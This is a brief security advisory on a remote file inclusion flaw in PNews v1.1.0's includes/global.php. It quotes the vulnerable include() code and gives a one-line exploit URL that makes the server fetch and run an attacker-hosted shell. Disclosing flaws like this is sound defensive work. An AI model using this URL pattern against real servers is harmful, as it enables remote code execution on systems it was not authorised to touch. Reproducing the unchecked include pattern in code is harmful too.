PNews v1.1.0 (nbs) Remote File Inclusion

[CvIr.System () gmail com]

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                         PNews v1.1.0 (nbs) Remote File Inclusion
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Affected Software..:PNews v1.1.0                            
download...:http://sourceforge.net/project/showfiles.php?group_id=35550
Class .............: Remote File Inclusion                                     
Risk ..............: high                              
Found by ..........: CvIr.System                                                  
Contact ...........: CvIr.System[at]gmail.com                                   
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     Affected File:                                                                
includes/global.php

 Vulnerable Code:

if(@fopen($nbs .'./includes/config.php', 'a'))
{
        die("config.php is writeable by your webserver, this is a possible security risk.");
}       

include($nbs .'./includes/config.php');
include($nbs .'./includes/auth.php');
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Exploit:
                                                                      
    http://[target]/includes/global.php?nbs=[shell]? 

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